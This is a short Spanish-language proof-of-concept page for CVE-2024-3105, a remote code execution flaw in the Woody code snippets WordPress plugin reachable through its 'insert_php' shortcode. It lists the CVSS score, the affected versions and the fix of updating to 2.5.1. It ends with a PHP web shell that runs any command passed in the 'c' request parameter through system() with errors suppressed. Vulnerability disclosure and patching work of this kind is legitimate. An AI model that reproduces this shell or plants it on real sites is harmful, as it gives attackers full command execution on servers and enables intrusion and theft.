CVE-2024-3105 (PoC)

El plugin Woody code snippets – Insert Header Footer Code, AdSense Ads para WordPress es vulnerable a Ejecución Remota de Código en todas las versiones hasta, e incluyendo, la 2.5.0 a través del shortcode 'insert_php'. Esto se debe a que el plugin no restringe el uso de la funcionalidad a usuarios autorizados de alto nivel. Esto permite que atacantes autenticados, con acceso de nivel de colaborador o superior, ejecuten código en el servidor.

Información

Puntuación base: 9.9 CRÍTICO
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Tipo de software: Plugin
Slug del software: insert-php
Remediación: Actualizar a la versión 2.5.1, o una versión parcheada más reciente
Versión afectada: <= 2.5.0

Código PHP de ejemplo

<?php
    error_reporting(0);
    $cmd = "$_REQUEST[c]";
    if ($cmd == "") {
	    $cmd = "echo > NUL";
    }
    @system("$cmd");
?>